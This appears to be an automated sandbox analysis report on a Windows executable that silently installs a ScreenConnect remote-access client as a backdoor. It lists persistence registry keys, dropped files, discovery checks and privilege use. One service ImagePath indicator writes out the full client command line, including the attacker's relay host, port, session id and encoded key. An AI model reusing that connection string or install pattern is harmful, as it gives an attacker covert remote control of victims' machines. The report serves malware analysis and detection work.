2f9155e9b3c398809d0ea8217600e6575d116b47744fcf76344622fbede1dddb

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/08/2026, 04:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2f9155e9b3c398809d0ea8217600e6575d116b47744fcf76344622fbede1dddb.exe
Size 5.3MB
Sample260831-fectvsxtbx
SHA256 2f9155e9b3c398809d0ea8217600e6575d116b47744fcf76344622fbede1dddb
MD5 7871d2a9fb7ba57c133f9040a5c80c22
SHA1 b95320a0c383a457c25b7c2914251dd35d9536b4
SHA512 b68cd46c57b0a02aadbbbaee2c0ec17afb467bc8e60871ddafca97f1983f9f212928e0e565329cabef10aa5e72cdf55b8958e44ad82f37743eb4c46fdf04af7f
SSDEEP 98304:uFs6efP09BNKtMj3Mgay69FHG2O0fIT2GWX:KfefP0wtCckYRFY2Gi
TLSH
T19546F011B3DA95B9C07F0638D87A9269AA74BC044716C7FF57D0B9792D32BC04E323A6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor discovery persistence privilege_escalation ransomware rat revoked_codesign

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (8cb78d3d3a881716)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (8cb78d3d3a881716)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=mango.quatrocliche.com&p=8041&s=44a2187a-4c46-4ae0-9906-252f575e4c4f&k=BgIAAACkAABSU0ExAAgAAAEAAQDhS0SCa7tXL%2fbJx%2bV6Ef69J20tqJisgu1E%2flF7NmE%2b%2fEawwIyNHH1dsNZMQBIqvNHVwv7TRH3XSwbWYv4EjOg2Jds3dlQBBq%2fYOq211kg47Cv8%2f4r9VJIIyDYyXCCCzwr8CyCqRUbw1YuRsm9lHY37QccGFRDBseKl1Wk4o7157QCn%2bTmoQmYwMbCxxyvB73gbAMdmD894vYnpuD61t%2b7ttLzCPpFNeukVI89oF6gNmjc3XajDW81YIF5WsNjosYKBa9AhL%2f%2ftArjgV7jz01IhQfu4dBleZBVUGzamdUCXcd9o0WlcDOc9yfX3l23oEDpaCICAaoERBqVoNYjmbWfS&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA%2ffKQ5ZYCzUmWMXfymEAOgwAAAAACAAAAAAAQZgAAAAEAACAAAABPklH3eKF620HdGgn9bhr%2f7nrqStNugt2cpdiemvoOMAAAAAAOgAAAAAIAACAAAACDK76Br2%2fH9RYpu9Ii1eJrtlkNOGx%2b2OVeYms7vZRgu6AEAACNKpC0NgN1GGVbMAa1ZJFS5mP3OdXNRJIofNWOnn84UYCLCFUNSeEb7tvxy7AwnuFsd%2bLkT5JgVSE%2fOp5LBT%2bNVdICNZnYHRL94qxZmF7U9%2fcyMgRgWiA4x8rjr6Oirg8eSRBJA9Soo6H7deDqgI5CvX1Rmu8fYYZTnCjNSBvUSpP9XlexuINuOGhzLGHrXC%2fdiYs5BiAYaAbbF%2fKrlnnIvjD%2byQqiEI6u6ZdxvhRNHnkVTe6%2b8qIG6%2f%2bw1WTp8qxMvG9j67uRrUSKBNk3edXtBPcgvIBxmM7nvoL3MLk5s5aJQpmqVIIcEN60MARlSiLAAH3XVWQTav%2fdCozER8a96r4mXRLAulyXqqMpwwBe9PUUDWNLb9McrQ6WMZi4AMla6aOUkqBZ%2bJc1%2boSBnaGSU2OEDfvwSzmrHhYuaQiuKTexlBXbLJFjYn7gG8s%2bzXy7Oh0DrNdwbhseTD2Pqy4Zl8jP55Us3X8oFgG8bNu0BnHJ53jeOvDofb1KXlko5oN1pA3%2f6yJo0fEn2iw2bX0FPuTV%2bX3M1scVR9DeJNKo7LY0X8%2f0xqtqsKXV%2bY9%2fFlfht4orqacRrmlJR0cdeDMhm6koPgYSpVwysXan5Ux3MWN1tE%2bVcQ1kt%2fQ6Mv2TH73to5WivXP2Rt5nHAgVNNP9yWPor84xMXut5WG0tW3NsFzwXPzuYiI9VUrug%2baTCHPOBa1Kdgcywfhw%2fI%2buA%2fg6pu4HuSgwJQzyGyAAt1kG0H%2f4zBbK3WrkgCg%2fQRosoYkk9ZW5zK6goZg2uDPx3jNvqe3JtXgOudfFcktmmkEPTn0uFpK6pZtDla0cTnvchlqnCMWGDpLvv7Ke02v%2bns9NM7y3z%2blRlXXPtyoumTwtEE6BDnSByaGOUd%2bFTKz91a3OdUIUg5rL6kNRTxuj%2fL5BQpFHF2ZEhlvJ7oambTnWTSJA113bQ1Lw32ApKQj0eRNd3WCy8Gkt7kZAKCAT05CywQYpEns%2bzK0x7wX9JN6Ye9I5URLM3PagVUOb%2b%2fd4678Pc990Krlurut6yo%2fHSl%2fq5wRBYxM2TDswKpUd0FgXSnp8wgAbWLrccnUlY3106ELy7kY1ANmzPcv1ZGsjuvsSzOqLltYBVSHLHIKIk6%2bhnJoWXQCnxrtOXfLdhzUrNE208gXdZDYIMX2nu9tMZ4Yzue1MXWcFfvX2%2buIQMfg2CjJQfSCJGXZsDNSOrCApChB0DPfV2qp6%2bNAKwGzP3Jwg%2b9k7S%2fbe76e%2fTGoXEkVR1VuyK%2fx%2fKSQ07M28Vxluf6gsW2%2fY1xU1%2b1NOMxRt0of73QXdt5F4JxzCUJGu7d1N21GO1Dt9KJ5LqwcnRbyly2ys1NFGQgtHGPZGFMGD3rdnsZ%2fyH6oHjHNKoelsMYAbsBLgK7GLaPe9Z%2bUkJyly7ycptDKMTOAihjtEJJDIqUkJTrKSg9wd9XNUryOLGPXCcQrdJnNloEZighMk0ieP%2b%2foi%2fJZdheuNTmOkC4eDayNT%2fVOyZWclQqregWjdxE%2bILinUdW%2fIZBFazH%2foRba7uO3HOxKNgAliceVSbl5sqnknxKbpmtQ1FhjdoxGc8rQfYEAAAAAeexmryHA1gqkQgmAu52WOsmACnHqFfjHD%2bnrHlndkapsvYXaP2jX7Bb2%2fMLklPWoitvkCPIyyGfdTNNB6qyVF&c=LabInstalls%20500&c=&c=&c=&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 2 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral1/files/0x00070000000244bc-117.dat	revoked_cert_connectwise
behavioral1/memory/4228-118-0x00000000042E0000-0x00000000043B2000-memory.dmp	revoked_cert_connectwise

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	2f9155e9b3c398809d0ea8217600e6575d116b47744fcf76344622fbede1dddb.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 2 IoCs

pid	Process
4228	ScreenConnect.ClientService.exe
4396	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
4544	MsiExec.exe
552	rundll32.exe
552	rundll32.exe
552	rundll32.exe
552	rundll32.exe
552	rundll32.exe
552	rundll32.exe
552	rundll32.exe
552	rundll32.exe
552	rundll32.exe
1412	MsiExec.exe
3724	MsiExec.exe
4228	ScreenConnect.ClientService.exe
4228	ScreenConnect.ClientService.exe
4228	ScreenConnect.ClientService.exe
4228	ScreenConnect.ClientService.exe
4228	ScreenConnect.ClientService.exe
4228	ScreenConnect.ClientService.exe
4228	ScreenConnect.ClientService.exe
4228	ScreenConnect.ClientService.exe
4228	ScreenConnect.ClientService.exe
4228	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800380063006200370038006400330064003300610038003800310037003100360029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e58b551.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{34BF5C9E-3E0B-2401-1BAF-32A6E1D0CB2D}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB756.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB9A8.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{34BF5C9E-3E0B-2401-1BAF-32A6E1D0CB2D}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\e58b551.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB6D8.tmp	msiexec.exe
File created	C:\Windows\Installer\e58b553.msi	msiexec.exe
File created	C:\Windows\Installer\{34BF5C9E-3E0B-2401-1BAF-32A6E1D0CB2D}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{34BF5C9E-3E0B-2401-1BAF-32A6E1D0CB2D}\DefaultIcon	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2f9155e9b3c398809d0ea8217600e6575d116b47744fcf76344622fbede1dddb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000e0d688459d835b340000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000e0d688450000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900e0d68845000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1ae0d68845000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1de0d68845000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe

Modifies registry class 37 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E9C5FB43B0E31042B1FA236A1E0DBCD2\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\ProductIcon = "C:\\Windows\\Installer\\{34BF5C9E-3E0B-2401-1BAF-32A6E1D0CB2D}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8cb78d3d3a881716\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (8cb78d3d3a881716)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3417-3DB3705A9C86}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3417-3DB3705A9C86}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\8cb78d3d3a881716\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8cb78d3d3a881716\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3417-3DB3705A9C86}\ = "ScreenConnect Client (8cb78d3d3a881716) Credential Provider"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3417-3DB3705A9C86}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3417-3DB3705A9C86}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (8cb78d3d3a881716)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E9C5FB43B0E31042B1FA236A1E0DBCD2	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\Version = "402784281"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9184D0EA5732BB9EC87BD8D3A3887161	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8cb78d3d3a881716\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8cb78d3d3a881716\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\SourceList\Media	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\PackageCode = "E9C5FB43B0E31042B1FA236A1E0DBCD2"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8cb78d3d3a881716	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\ProductName = "ScreenConnect Client (8cb78d3d3a881716)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\SourceList\PackageName = "setup.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\8cb78d3d3a881716\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-8cb78d3d3a881716	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8cb78d3d3a881716\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9184D0EA5732BB9EC87BD8D3A3887161\E9C5FB43B0E31042B1FA236A1E0DBCD2	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E9C5FB43B0E31042B1FA236A1E0DBCD2\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-8cb78d3d3a881716\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8cb78d3d3a881716\UseOriginalUrlEncoding = "1"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3036	msiexec.exe
3036	msiexec.exe
4228	ScreenConnect.ClientService.exe
4228	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2300	2f9155e9b3c398809d0ea8217600e6575d116b47744fcf76344622fbede1dddb.exe
Token: SeShutdownPrivilege	2192	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2192	msiexec.exe
Token: SeSecurityPrivilege	3036	msiexec.exe
Token: SeCreateTokenPrivilege	2192	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2192	msiexec.exe
Token: SeLockMemoryPrivilege	2192	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2192	msiexec.exe
Token: SeMachineAccountPrivilege	2192	msiexec.exe
Token: SeTcbPrivilege	2192	msiexec.exe
Token: SeSecurityPrivilege	2192	msiexec.exe
Token: SeTakeOwnershipPrivilege	2192	msiexec.exe
Token: SeLoadDriverPrivilege	2192	msiexec.exe
Token: SeSystemProfilePrivilege	2192	msiexec.exe
Token: SeSystemtimePrivilege	2192	msiexec.exe
Token: SeProfSingleProcessPrivilege	2192	msiexec.exe
Token: SeIncBasePriorityPrivilege	2192	msiexec.exe
Token: SeCreatePagefilePrivilege	2192	msiexec.exe
Token: SeCreatePermanentPrivilege	2192	msiexec.exe
Token: SeBackupPrivilege	2192	msiexec.exe
Token: SeRestorePrivilege	2192	msiexec.exe
Token: SeShutdownPrivilege	2192	msiexec.exe
Token: SeDebugPrivilege	2192	msiexec.exe
Token: SeAuditPrivilege	2192	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2192	msiexec.exe
Token: SeChangeNotifyPrivilege	2192	msiexec.exe
Token: SeRemoteShutdownPrivilege	2192	msiexec.exe
Token: SeUndockPrivilege	2192	msiexec.exe
Token: SeSyncAgentPrivilege	2192	msiexec.exe
Token: SeEnableDelegationPrivilege	2192	msiexec.exe
Token: SeManageVolumePrivilege	2192	msiexec.exe
Token: SeImpersonatePrivilege	2192	msiexec.exe
Token: SeCreateGlobalPrivilege	2192	msiexec.exe
Token: SeCreateTokenPrivilege	2192	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2192	msiexec.exe
Token: SeLockMemoryPrivilege	2192	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2192	msiexec.exe
Token: SeMachineAccountPrivilege	2192	msiexec.exe
Token: SeTcbPrivilege	2192	msiexec.exe
Token: SeSecurityPrivilege	2192	msiexec.exe
Token: SeTakeOwnershipPrivilege	2192	msiexec.exe
Token: SeLoadDriverPrivilege	2192	msiexec.exe
Token: SeSystemProfilePrivilege	2192	msiexec.exe
Token: SeSystemtimePrivilege	2192	msiexec.exe
Token: SeProfSingleProcessPrivilege	2192	msiexec.exe
Token: SeIncBasePriorityPrivilege	2192	msiexec.exe
Token: SeCreatePagefilePrivilege	2192	msiexec.exe
Token: SeCreatePermanentPrivilege	2192	msiexec.exe
Token: SeBackupPrivilege	2192	msiexec.exe
Token: SeRestorePrivilege	2192	msiexec.exe
Token: SeShutdownPrivilege	2192	msiexec.exe
Token: SeDebugPrivilege	2192	msiexec.exe
Token: SeAuditPrivilege	2192	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2192	msiexec.exe
Token: SeChangeNotifyPrivilege	2192	msiexec.exe
Token: SeRemoteShutdownPrivilege	2192	msiexec.exe
Token: SeUndockPrivilege	2192	msiexec.exe
Token: SeSyncAgentPrivilege	2192	msiexec.exe
Token: SeEnableDelegationPrivilege	2192	msiexec.exe
Token: SeManageVolumePrivilege	2192	msiexec.exe
